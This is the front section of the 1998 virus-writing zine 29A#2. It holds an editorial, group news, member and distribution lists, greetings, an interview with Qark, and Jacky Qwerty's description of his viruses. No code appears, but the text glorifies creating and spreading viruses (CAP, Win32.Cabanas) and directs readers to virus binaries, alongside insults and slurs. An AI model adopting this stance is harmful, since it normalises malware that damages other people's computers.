Vous êtes sur la page 1sur 908

Introduction to 29A#2

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

Friday 13th, december of 1996, at 6:66am... 29A#1 is officially released to


the public. It was undoubtly a magic date. But not as magic as friday 13th,
which is a special day for viruses, of february, in 1998, at 6:66pm... this
was the final release date/time of 29A#2, and the most curious thing is, we
had never thought about letting such a coincidence happen... but it did. In
this evil year (666*3=1998), who knows what else might happen in the scene?

It has passed over a year since our first issue was released, last december
in 1996. However this does not mean, like many people say, that we "release
one issue per year". No, that's not fucking true... we've spent one year in
order to release 29A#2 but that doesn't mean we will do that again. Lots of
circumstances drove us to be late, such as: some members doing the military
service, major changes and internal reestructuration, and most important of
all: the necessity to spend a lot of time on I+D work in order to start the
way in the so called "new school" (Win32). It's easy to notice now that, in
most of the cases, those who could not understand these reasons were either
kids with no necessity of doing the military service (by now) or coders who
are not still interested on spending their efforts on Win32.

You can find people out there claiming they "release 3 or 4 zines per year,
instead of 1", harassing you, making pressure and/or stupid jokes about the
reasons which make your zine get delayed, and so on. But the funniest thing
is they pay so much attention to your ass, so they do not pay any at theirs
and then get grasped, and it's their zine which gets delayed because of the
same reasons they were joking about a few months ago. Being serious now, it
is important to say that making comparisons about quantity is very easy. It
is also important to remember tho that YAM for instance, released three is-
sues in their eight months of life. We are not speaking about quantity, but
about quality. And also about contents plus continent, working in a proffe-
sional way, and offering interesting and innovating articles and viruses to
our readers. We do our best and we think it's ok, you judge :)

Like Jacky Qwerty, in a speedtalking, hypergesticulating Tarantino-like way


says, "this second issue of 29A is full of hot new ground-breaking kick-ass
stuff from top to bottom" - or that's what we think, it's up to you to tell
us whether we're right or wrong at this. However nobody can negate the fact
that we have developed for this issue completely new and unseen stuff like,
for instance, the new (definitive) Win32 techniques, not only for infection
but also for residency, stealth, error handling, etc. We're publishing here
as well the hottest disassemblies, engines, tools, tutorials and, of course
viruses of our own, including the first multiprocessor/multiplatform infec-
tor, the first virus which executes backwards, the first boot infector that
uses PMODE features, the most spread baby in the world right now (CAP), and
lots of completely original-featured viruses, which, together with the rest
of the articles, we hope you'll read and enjoy.

We hadn't released anything for over a year until this issue of 29A was up-
loaded to our FTP and eventually made publically available, and that is so-
mething like saying that you'll find the work of a whole year, here inside.
From now onwards things will change, and we hope we will release our future
issues within shorter periods of time. And this will probably mean that, at
least for us, "something better than 29A#2" will almost become an oxymoron.
However we will try, as it was one of our initial intentions, to make every
future issue of 29A better than the previous one(s).

About the scene there's a very important thing to say: it's alive, and it's
more active than it has ever been, in my (humble) opinion. Besides the fact
that lots of new groups have emerged, which is something always happens, we
can see many important virus groups such as iKx, SLAM, SVL, Stealth, and so
on (so on=the ones i've unintentionally forgotten), as well as, for instan-
ce, magazines based on external collaborations without any group supporting
them, ie Sources of Kaos. As you can see there's a lot of competence and it
is pretty obvious that there's still a lot to do in the scene ;)

And i think this is all by now... there is a separate article, called "News
since 29A#1", in which we try to describe more or less what has happened in
the scene and in 29A as part of it, since our first issue was released. Now
it's time just to wish you will enjoy this new issue of 29A, and to ask you
not to forget to read any of our articles, we hope you'll like them.

"We're pleased if you're pleased" :)

Mister Sandman,
bring me a dream.
News since 29A#1
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

In a whole year it's obvious to say that many things happened. And it would
be a real fuck to try to sum them all up in this article, so we'll only try
to write a brief report about the most important events which took place in
all this time. In fact there's nothing too interesting here, just some kind
of curious news which may seem funny or at least not boring to you. For us,
they were great and amazing experiences we hope we'll go thru again.

First of all, after the release of 29A#1, was the discovery of some bugs in
the article browser and some errors in a few articles. Our first e-zine was
just a test and i think it was a pretty good first step. And it meant a big
help for us in order to get some experience about magazine releasing. There
was as well kind of a "lack of fame", what forced us to be lame in some as-
pects of the magazine (in the esthetic side) such as the sucking ANSI i had
to draw myself in less than 30 minutes before releasing the zine. Many long
conversations about this and other aspects of 29A took place, while our ho-
lidays (the VX ones) finished and we had to restart writing viruses. It was
nice however to have received tons of e-mails from almost every part of the
world congratulating us for the work we did in 29A#1.

We kept on working on our viruses/articles, and by the same time we started


thinking about the idea on developing the so-called "29A Labs", our website
located in http://29A.islatortuga.com. Also we stopped connecting to EFnet,
and, instead, we started visiting the recently founded spanish IRC network,
where we eventually settled after having created our own virus channel. And
these changes were not only affecting the group externally, but also inter-
nally, as by this time there were as well a lot of new members joining, and
other members becoming collaborators. And you may be wondering now what the
fuck a collaborator is... well, this is another feature we have implemented
in 29A. Now the organization is formed both by members and collaborators.
Members are those who have the compromise to write a certain number of ar-
ticles and/or viruses per an also certain period of time, they are 29A, the
virus writing group itself. Collaborators are external VXers who don't have
any compromise with us, who write articles or viruses when they feel like
that, and who send them to us in order to collaborate with the group. It is
important to say that many ex-members due to their inactivity or because of
their lack of time were "reclassified" and put as collaborators, instead of
members. So, that's the way the group is formed. The official list of mem-
bers and collaborators follows, including the last-hour additions :)

IMPORTANT!!! if any of the e-mail addresses below does not work, try to use
cryogen.com instead of islatortuga.com, or vice-versa. It is also important
to note that we are probably moving in the next months to 29A.org, so these
addresses may become obsolete soon, albeit they'll still exist, and we will
keep on checking them from time to time.

-29A MEMBERS- (the VX dream-team) ;)

Member name Origin IRC nick E-mail


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Mister Sandman......... Spain....... MrSandman....... mrsandman@cryogen.com
Darkman................ Denmark..... _darkman_....... _darkman_@cryogen.com
GriYo.................. Spain....... GriYo............... griyo@cryogen.com
Jacky Qwerty........... Peru........ jqwerty........... jqwerty@cryogen.com
Rajaat................. UK.......... Rajaat....... rajaat@itookmyprozac.com
Reptile................ Canada...... Reptile-... reptile./.29A.fuck@usa.net
Super.................. Spain....... Superx.......... super_29A@cryogen.com
Tcp.................... Spain....... Tcp................... tcp@cryogen.com
Vecna.................. Brazil...... Vecna............ vecna@antisocial.com
Wintermute............. Spain....... Winter..... wintermute@islatortuga.com

-COLLABORATORS-

Collaborator name Origin IRC nick E-mail


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
An¡bal Lecter.......... Spain....... _Anibal_.......................... n/a
AVV.................... Spain....... avv................... avv@cryogen.com
Heuristic.............. Denmark..... n/a............................... n/a
Leugim San............. Spain....... LeugimSan...... leugim_san@cryogen.com
Lord Julus............. Romania..... LordJulus..... lordjulus@geocities.com
Mr. White.............. Spain....... W666.......... mrwhite@islatortuga.com
"Q" the Misanthrope ... USA......... n/a...... q_the_misanthrop@hotmail.com
Spanska................ France...... El_Gato........ el_gato@rocketmail.com
SSR.................... Russia...... ssr............................... n/a
The Slug............... Spain....... the_slug......... the_slug@cryogen.com
VirusBuster............ Spain....... VirusBust.......... darknode@oninet.es
Ypsilon................ Spain....... Ypsilon........... ypsilon@cryogen.com
Z0MBiE................. Russia...... Z0MBiE............................ n/a

Now that these important news have been told, it is time to start reporting
the trivial events. I would first mention our appearances in the media. The
first one was in PC Revue (?), a slovakian paper-printed magazine, where we
could read a brief comment about my AntiCARO virus. After this, we received
via Internet an e-mail from a guy called Javier Guerrero, who heads a virus
oriented section in a spanish paper-printed magazine called PCman¡a. We had
some chats about what we (29A+him) exactly wanted, and after that short pe-
riod of time, a full-color, four-page article about the virus scene and 29A
appeared in PCman¡a, which is one of the most popular computer magazines in
Spain. In the next month, he dedicated another -even longer- article to the
analysis of my virus Torero, and two months ago we were mentioned in an ar-
ticle dedicated to virus payloads, as before last summer we had talked with
him about the idea of writing such an article, and provided him with some
of the most known virus payloads. Besides, we have been interviewed by many
other media, and we're waiting right now for more public appearances. These
plans include our probable presence in a TV program!, plus the already con-
firmed announcement of the release of 29A#2 in PCman¡a, and some article(s)
in another spanish paper-printed computer magazine (the best sold i think),
called PC-Actual. But this all is a surprise we would not like to unveal by
now... just keep on visiting the 29A Labs! ;)

These are, btw, some excerpts of the article about us in PCman¡a:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
On cover: "Exclusive interview to spanish virus creators"
Index : "[...] we offer to you a very interesting interview with two mem-
bers of a spanish group of virus creators, called 29A. In an in-
formal chat, our guests describe their methods, their history,
and their future plans, as well as their opinions about the na-
tional and international virus scene".
Page 141: "Nowadays, 29A is, internationally, the most important virus cre-
ating group, as well as the first and unique one from Spain".
Page 142: "Writing viruses the way we do in 29A is to code for art and ent-
ertainment, not for effectiveness and destruction (Mr.Sandman)".
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

The whole article has been converted also into a webpage, so everybody own-
ing a browser may check it out at the official website of PCman¡a, together
with other articles 29A was mentioned in:
(*) http://www.canaldinamic.es/PCMANIA/PC057/VI/pc057vivirus0000.html
(*) http://www.canaldinamic.es/PCMANIA/PC058/VI/pc058vivirus0000.html
(*) http://www.canaldinamic.es/PCMANIA/PC061/VI/pc061vivirus0000.html

Other funny event took place last summer, in Madrid. We celebrated the very
first european VX meeting, albeit it was initially supposed to be a meeting
only for 29Aers. However that's what it eventually became, as most of those
VXers who were supposed to come finally couldn't, because of several diffe-
rent reasons. For instance, Rajaat planned to go by car from UK till Luxem-
bourg, where he'd meet CoKe and then come to Spain. A completely unfortuna-
te last-hour crash the same day he was leaving the UK messed every plan and
made impossible to meet them... driving while being stoned... you know ;)
The only foreigner we could meet was Spanska, from France. After having met
everybody we went to a restaurant and had our meal. Then we went for a walk
to a cybercaf‚ where we connected to IRC and had some fun on-line, and that
is when we decided to split for meeting later in order to go party. Some of
us went to the most famous square in Madrid, Plaza Mayor, were we could sit
in a bar and try to write a virus together, it was a pretty funny thing al-
beit we couldn't finish it (too much heat) :) Other people such as GriYo or
Spanska decided to go their way in order to have a rest, so they could have
their energies on top when going party. However, this was the last time any
of us saw Spanska, he felt asleep in his car until the next day :) We remet
at 22:00h or so in a McDonald's, and then went to some pubs and night bars,
including GriYo's... and our party stopped around 5:30h or so, with some of
us (especially GriYo and i) a little bit drunk :)

It was a great experience we'll repeat this summer, first in Madrid and la-
ter -hopefully- in Amsterdam. But this time things will be much more diffe-
rent, and besides we already know for sure right now that b0z0, Darkman,
Reptile, Rajaat, and Spanska are coming, so we are sure it'll be impossible
to stop laughing and having fun for an only minute. And there are also some
rumors, btw, about the possibility of organizing a ganja-smoking contest so
we may know at last who the fuck is the king, god or whatever of ganja ;)

And last but not least, like every year, the SIMO convention (an enterprise
based computer exposition, with stands and so on) took place in Madrid, and
29A couldn't miss it ;) This time it was GriYo, Wintermute, Mr. White (col-
laborator), and i who represented the group. It was nice to meet personally
the developers of Panda, the most important spanish AV product. They were
in every moment very kind and proved that it is possible to have a good re-
lationship with "the other side". In this case, it was VX and AV who shared
a funny and friendly chat, for some minutes. We could also visit the stands
of other AV products, such as F-Prot, AVP, TBAV, Scan, etc, but it was good
enough to stop at them and have some laughs... there were only salesmen, so
it would have been a loss of time to try to speak with them :P

When they saw us laughing at them they became completely astonished :)

And this is all, more or less... there's another event about to come, which
deals with the cellebration of the release of 29A#2, but i guess the report
of this party will be part of 29A#3, so... wait until then!

Mister Sandman,
bring me a dream.
29A distro sites
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

In order to know the most recent news in 29A, look for our latest releases,
and be able to download binaries of our viruses as soon as they're made pu-
blically available, don't hesitate to go visit our "29A Labs", the official
website of the group, at http://29A.islatortuga.com. Please note that we're
moving soon to http://www.29A.org. However 29A.islatortuga.com will keep on
working for a long time until we complete our "migration".

If what you want is to chat with us you can always try at IRC, as we use to
spend a lot of time in the #virus channel of Hispanet, the spanish network.
Connect to one of the servers below and look for us, our nicknames are lis-
ted in the "News since 29A#1" article:

orion.irc-hispano.org............... Arrakis server


pleyades.irc-hispano.org............ Arrakis server
vega.irc-hispano.org................ Arrakis server
fenix.irc-hispano.org............... Arrakis server
pegasus.irc-hispano.org............. Milenium server
saturno.irc-hispano.org............. ERGOS server
marte.irc-hispano.org............... Minorisa server
mercurio.irc-hispano.org............ Mundiv¡a server
ganimedes.irc-hispano.org........... EUI UPV server
pulsar.irc-hispano.org.............. RedesTB server
gaia.irc-hispano.org................ Argo server
sirius.irc-hispano.org.............. Servicom server
europa.irc-hispano.org.............. CTV server
aire.irc-hispano.org................ Catalunya.Net server
titan.irc-hispano.org............... InforEspa¤a server
jupiter.irc-hispano.org............. Lleida Networks server

Since 29A#1 was released many sites (both webs and boards) showed their in-
terest on distributing officially 29A. If want to join the list of 29A dis-
tribution sites, just e-mail either Darkman or me (you can find our address
in the "News since 29A#1" article) and specify in your message: the name of
your website/board and its address/phone number.

And then you'll appear in the following list, when updated:

Web site/Board name Address/Phone


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
29A Labs (world hq)............................. http://29A.islatortuga.com
Cicatrix site (usa hq)............... http://www.cyberstation.net/~cicatrix
SiZiF's site (.yu hq)............... http://solair.eunet.yu/~sizif/29A.html
Dejanu's site (.ro hq)................. http://www.rotravel.com/dejanu/29A/
Arrested Development (euro hq).............................. +31-773-547477
Black Adder (.il hq)......................................... +972-651-4404
BlueDemon BBS (.mx hq)...................................... +52-461-555-19
Dark Node (.es hq)....................................... +34-(9)86-564-053
Edison's Temple......................................... +34-(9)1-406-03-72
FaLCoN BBS (.br hq)........................................ +55-11-875-9838
IX BBS (.de hq)............................................. +49-6074-68390
Satanic Brain (.ar hq)....................................... +54-13-837480
The Frynge (.ca hq)........................................ +1-604-763-6314
Toxic Delusions (.za hq)................................... +27-24-852-5008
UiS (.my hq)................................................ +60-352-107-72
Due to a data loss at least 2-3 sites couldn't be added, as it was impossi-
ble to recontact them in order to get again their data. We in the staff ho-
pe they're reading this and then will get in touch again.

Mister Sandman,
bring me a dream.
Our greetings
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

Greetings go this time to...

_Anibal_ : we miss your great sense of humour on IRC ;)


00FAh : still translating games into spanish for EA? :P
avv : so happy you finally got a girlfriend :)
b0z0 : hope the fuckin t-shirt arrives soon... yours rocks ;)
CaptZero : why are people like you so motherfucking anal?
Casio : learn and sing Madonna's "Like A Virgin" :P
Cicatrix : keep the *best* work up, man, you rule!
CoKe : your computer is now stoned (same as you, heh)
FJP : you're an incult, Daft Punk roqs ;)
Galar : not drunk anymore, girlfriend... really Galar? ;)
Galindo : is your height still 81cms? (greeting from Super)
giGGler : we all live in a love chaaat! -> R's ruin, hehe
God@rky : miss you and your cool website :(
Greenline : ce mai faci? esti Œnca viu?
iiriv : yodel again! :) so long no see, dude
Int13h : learn cheli and win a prize ;)
jtr : we all are happy you're ok again
kdkd-666 : what about your life, man??? i really miss you :(
Kid_Chaos : jqwerty+you+me=latin sex machines!
l- : hope to see you this summer in Madrid ;)
LeugimSan : still working on that cookie monster?
LordJulus : vindecatori roq!!! :)))
LovinGOD : i promised you'll be here... so here it is :)
LuisM : the OS-migration man, hehehe ;)
Maverick : Universe+Orgasmatron rulez (greeting from Vecna)
MDriller : forget DOS and get into the new school :P
mgl : greetings are the most important section ;)
Murkry : hope to see you more often on IRC
nick : wanna send greetings to your gramma? :)
Omega666 : hope you and your BBS are still alive :)
Owl[FS] : thinking on the anti[sm] coalition?
Pedro : how many RedBulls have you drunk tonite? (Super)
piCarD- : don't get too stoned when you come to Spain ;)
Poltergst : expressos and capuccinos rule, heh?
"Q" : what must you do to convince people?
qark : be back... (666th time somebody asks you)
QuantumG : still interested on Linux stuff?
r- : love that crazy dutch radio reporter ;)
retch : ---pareces un feto de ballena, lamepollas!!!
RAIDERS : really getting a paid travel to Acapulco?
rebyc : forgot what IRC stands for? :)
ROLF : greetings because of being GriYo's inspiration
sbringer : what can i say to one of my idols?
ShadSeek : you should come more to Hispanet ;)
Shumway : more gypsies working at Tabacalera? :)
SiZiF : i promised i'd send that to you... ;)
Skeeve242 : becoming a millionaire with your AV? ;)
Sokrates : don't even think on speaking about exams! ;)
Spanska : still lost in Madrid? :P
SSR : russkaya viruskaya energya!!! ;)
StarZer0 : i'm working in a GameBoy infector, hehe ;)
the_slug : aaaarrggghhh, the $#%!@ military service
TheWizard : use a debugger instead of cut&paste :P
trg- : does this seem good enough to you?
valkie : try to spice some horse up with Avecrem :)
VDaemon : heh, treilea salut Œn limba romƒna :)
VirusBust : happy being the "keeper of the virii"? ;)
W666 : what about that movie you were writing?
ww0rker : still married as far as i know... that's a record!
Ypsilon : you start looking serious, but keep on coding! :P
Z0MBiE : what will get infected next? txt? :)

Reptile's greetings...

oYirG : schizo! change nick!


b0z0 : got the shirt? :P
Kid_Chaos : fascist Fujimori sucks badly!
piCarD- : mooha! ;)
Reptile- : bwaha!
Scorpion : rhabarber...
retch : *** You were kicked from #virus by blah0 (banned)
Hey you gimp, is it fun to work in a dungeon?!
You hermaphrodizeeen bitch! Stupid fascist!

Rajaat besides wants to greet: Rhincewind, The Unforgiven, Antigen, Priest,


and Metabolis, hoping to recontact them in the near future.

We would like also to send special greetings to Javier Guerrero (thanks for
all, man!), Bernardo Quintero (great work coming soon heh?), our friends at
Panda Software (eat this!!! :P), and of course, to all our buddies at #hack
in Hispanet, especially: BINARIA, DarkNail, mainboard (also his girlfriend,
Ic¡ar) and Case_Zer0 (the ones i go out with more often in Madrid), also to
PhiSk, for his loyalty and a big favor i still owe, La_Santa (heheh, my cy-
berwife) and to my best friends there (or at least, those ones i can remem-
ber right now - alphabetical order): _TaNiS_, |AkratA|, |AmandA|, |aRuSHa|,
|fit0|, Akira, BiLLsUcKs, Clarisita, dairo, deadrose, Goku, Jany, Mia (wel-
come to Jack Rabbit Slim's) ;) NecronoiD, RAGE_666, SiLbY, Sr-aSpid and VaW
(not a #hack addict tho). If you are not included here, don't think you are
less important than the above for us... sometimes we even forget ourselves!

Thanks to...

Exobit : democoding group who programmed the intro


Artqvo : ANSI logo and graphics of the intro (Exobit)
Khroma : main writing of the intro code (Exobit)
Mentat : music modules of the intro (Exobit)
Tcp : file browser coding, configuration, bug fixes
The Slug : article reader coding, bug fixes
Tuk : 29A official logo, used in intro and ANSI
Spanska : screensaver, based in his Cosmos virus

Mister Sandman,
bring me a dream.
Legal stuff
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

Not many changes since 29A#1 so... eat more or less the same text :P

Erhhhmm... well, i really hate to do this kind of things but it's necessary
anyway so... ok, let's suffer a bit to make my lawyers happy :)

Albeit most of our readers are supposed to have more than one virus, and to
be even able to code viruses by themselves so they ain't the typical lamers
who are looking for destructive code in order to fuck some computers at the
school they "study" in we are conscious about the fact that exists a little
and very unprobable risk to fall in the greasy hands of one of these gimps,
so we'd like to make clear that the only reason which drives 29A to release
this magazine is the basic principle of the educational purposes.

As Qark said, "if we don't hurt the community, community won't hurt us" ;)

We are not responsible of any damage caused due to the misuse of the infor-
mation (articles/viruses) released in this issue of 29A, just same as some-
body who makes knives isn't responsible if some schizo uses one of the kni-
ves to kill another person or to cut his dick off, got what we mean?

If so, go ahead and enjoy the magazine. Otherwise just get the fuck out :)

Mister Sandman,
bring me a dream.
Interview with Qark
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Mister Sandman/29A

For this second issue of 29A, we decided to interview Qark, one of the best
virus writers ever (maybe the best?), who left VLAD and the scene about one
year ago. Albeit his lack of free time, this very good friend of mine was
eventually able to make possible to bring you now this great oportunity to
know him better.

We all miss you, dude.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
29A> Ok, Qark... this is the classic first question of almost every inter-
29A> view... tell me why did you choose your nick

When Metabolis and I started out with VLAD we had local scene nicks that
everyone knew, so we had to get new ones. (Obviously meta wasn't always
called meta). When I first jumped into irc for #virus, every nick i
picked was always taken, so I thought to myself "What nick could I
possibly pick that noone will ever use ?", and picked Qark - because it
defies the laws of English by dropping the 'u'. But why "Qark" out of
all the "Q" words ? I don't know.. I can't think of any other "Q" words
to be honest.

29A> When and with 'what' did you start computing?

I didn't own a computer until after I left highschool. (A few years back).
My first computer was a mighty 8088 XT with 20 Meg hard disk and EGA
monitor :)

29A> And when did you first know about a computer virus (first experience,
29A> with which virus(es), etc)?

The first I ever heard about computer viruses was when TZ's X-Fungus virus
infected Suncorp (a local bank) on the radio. The first virus I ever
encountered in the flesh was 1575 (green caterpiller) on someones computer.
I took a copy home so that I could work out how to make a virus of my own
but it was beyond me at the time.

29A> In what computer languages can you code?

ASM, PAS, SQL, Modula-2 and some C.

29A> Describe yourself (phisically, morally... however... even sexually if


29A> you dare) :)

Umm White, Male, average height, brown hair, blue-green-hazel (something)


eyes. I'm very conservative morally - viruses are a bit of an anomally
in my personality.

29A> Ok, now about viruses... tell me which ones have you coded, and/or
29A> the ones you like most

Let me see.. I've written a whole heap of viruses. Father, Mother, Sister,
Brother (Incest family - Very lame) - VLAD#1
Actually mother wasn't too bad. It still stealths everything.

VLAD virus, Republic, Meningitis - VLAD#2


Pretty lame still, although my flash bios infector was a nifty idea.

Hemlock, Megastealth - VLAD#3


Both these viruses were pretty cool even if somewhat buggy.
Winsurfer, Goodtimes - VLAD#4
Winsurfer was a big breakthrough for Quantum and I so it is one of my
favourite virii.

Horsa, Ph33r - VLAD#5


I liked both of these virii. Horsa was one of the hardest things I've
ever written due to the mathematics involved so I like it, and Ph33r is
the first multi-OS (kind of) virus so I liked it too. (Quantum wrote the
memory routines for that one)

Gilgamesh, tracevir, 386 virus - VLAD#6


Pretty ordinary viruses, but my VSTE (my file entry point tunneling engine)
was a new concept so I kind of liked it, even if it has been done better
since.

Padania, goodbye - VLAD#7


Padania was good. Goodbye sucked.

Quantum and I have worked on a couple of Win95 viruses together.


Win95.Punch and one in memory of TZ..

29A> Btw, about VLAD (unavoidable question) :) you left the group... you
29A> said you didn't have the time for doing other things... explain it
29A> better, please... did you get a girlfriend? :)

By "other things" I meant "anything". Spend your time vladding and the
rest of your life goes to hell.

And I do have a lovely woman who takes up a sizeable chunk of my time :)


luckily for me she likes viruses :)

29A> What about your personal future projects?

Some more win95 viruses are on the cards.

I did the vxd routines in a couple of win95 viruses so I'm still coding
every now and then..

29A> And more thingies about VLAD... could you tell me something about its
29A> story (who, when, why decided to create it, etc)?

I'm pretty vague about it, but I think it went like this: Meta read ir#2
and thought "cool, im gonna start my own virus group and call it vlad".
At this stage I didn't know him at all. A day later he was chatting to the
sysop of the local warez board about his latest group when he was put in
touch with me. And voila thats how it started.

Meta had his own shareware bbs where he was the good-guy sysop, while in
a secret area was the vlad virus section. There we would swap code for
our latest direct-action virii :)

When we got enough dross ready to produce vlad1 I jumped on the bus and
the train and went out to his place to put it all together. We met for
the first time at the train station. Nothing much happened at his place
apart from the magazine production. The main thing I remember is it being
freezing cold .. we were working on it until the early hours of the morning.

Somewhere along the track meta met TZ and invited him to our private vlad
conference on his bbs. We'd discuss virii techniques..

Sometime later we went onto IRC and our story is well known since then..
29A> Which is/are your favourite virus(es)?

RDA.fighter is probably my favourite, followed by starship.

The new virus by Quantum and I is really cool :) coming to a hard disk
near you :)

29A> Do you think the perfect virus exists or might be ever coded?

No.. the whole idea of a perfect virus is stupid I think.

29A> How will the 'viruses of the future' look in your opinion?

It will be a resident win95/NT infector.

29A> Ok, now let's have a look at the other side... AVs and AVers. Which
29A> is the AV you like most?

AVP is pretty good. Its win95 version really needs a scanning VXD though.

29A> Heh... one question is enough for those niggas ;) now about the virus
29A> scene... give me your point of view about it (old groups, new groups,
29A> who's cool, who sucks... you know) :)

Firstly, VLAD is cool :)

Nuke, rabid and yam were all lame.. but trident and p/s were good.

IR were always my favourite group but I don't like IRG much..

29A are way cool :)

29A> Finally, just send a greet to someone, say something, sing, write a
29A> poem <g>, pull yourself :)... dunno, whatever you want. This is your
29A> free space :)

RIP TZ :(

Greets fly out to Metabolis and Quantumg and all the people I like.

Also a kiss to a certain girl :)


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8

Good luck, Qark... especially with that girl ;)

Mister Sandman,
bring me a dream.
Words from Jacky Qwerty
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>
Jacky Qwerty/29A

First of all, i would like to send some short comentz and general greetz to
the good and bad virus scene. Yes, i think there exists such diference and
thats something that should be "pointed" out. Apart from this i'll take the
chance to describe my articlez, virusez and utilitiez included in this 29A
issue as well as my true purpose on writin and spreadin out this knowledge.

The two sidez of virus scene


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Yes, in my humble opinion, i think there is a "good" virus scene, one which
is continuosly lookin for new infection ideaz, new platformz and new file
formatz to infect. Just for the simple chalenge it poses by itself, not for
that stupid nonsense apetite for destruction. Thats childish rubish and we
dont like that. We rather enjoy foolin F-Potatoe's last protection or TBAV
heuristicz or discoverin Microsoft's untold secretz, etc. This is what we
like. This is the good virus scene and we'll stay this way for a long time.

The other side is the "bad" virus scene, which is made of vandalz who have
childish programin habitz. They move and act by the simple "minimum effort"
principle. They rather enjoy randomly writin or formatin a hard drive, than
squeezin both skull and brainz out in an atempt to code some more creative
and interestin stuff, not the awful boresome shit they're acustomed to. For
the former purpose, i'd strongly recomend to download the AVP enciclopedia
DOS edition, and take a look at all the "kick ass" virus demoz it containz.

Needless to say, I, as a VXer and member of the 29A group team, have nothin
to do with this "bad" side of the virus scene and be sure i will reject any
chance to become a "vandal" for dayz to come. Did u stick that Bontchy! #8P

Greetz to all VXerz


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Warm greetz to all those creative VX coderz around the world who use their
brainz and imagination writin fancy creative payloadz - harmless graphicz,
soundz, etc - inside their lil' creepy binary creaturez, you all rock! ;)

No greetz at all to the increasin number of lamerz and wannabeez who feel
they are the bad guyz and best coderz on earth just by writin destructive
nonsense rubish and wipin out compz at skool or friendz, you all suck! :(

As bein part of the first group, i really hope you enjoy this 29A#2 isue as
it is full of hot new ground-breakin kick-ass stuff from top to bottom ;)

Quick description
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
For my part i have writen and coded some nifty Win32 (WinNT/Win95/Win32s)
virusez: (1) Win32.Jacky, the very first Win32 infector. (2) Win32.Cabanas,
the very first resident, stealth, antidebuged, antiheuristic Win32 virus.
(3) DogPaw, a simple but powerful DOS virus, which is able to infect DOS,
Win3.1, Win95, WinNT and OS/2 aplicationz via a recently discovered back-
door, thanx Casio. (4) WM.CAP, my first and only macro virus writen as an
entrance to the macro stuff world, simple in structure (who said complex?),
but very powerful and infectious by nature - heck i didnt know it would be-
come so comon, blame Microsoft for their stupidity -. This is all with res-
pect to my virusez.

I have also prepared a couple of articlez about macro stuff, they are named
(1) Macro virus tricks, and (2) WordMacro.CAP virus description. The first
article deals with two known limitationz with actual macro virusez and then
proposes solutionz for them. The second article gives a full description of
a real macro virus and serves as a good compliment for the first article.

Finally, i have writen two especially useful utilitiez for Win32 (with C
source code included): (1) GETPROC, a Win32 console aplication very useful
for beginerz, which also serves as a compliment for the PE infection tuto-
rial. And (2) PEWRSEC, a simple DOS program which will be very useful for
you Win32 ASM coderz once you understand the benefitz of a R/W code section
on a PE file: you will be able to include the first generation sample of
your Win32 virus in the code section, as you usually did in DOS, and you
will also be able to debug it with symbolic information included along with
the source code. And last but not least, i have prepared myself some useful
INC filez for DOS and Win32: (1) USEFUL.inc, (2) MZ.inc, (3) WIN32API.inc
and (4) PE.inc. This include filez will make more sense once u have delved
yerself into the Win32 world.

Scope and Purpose


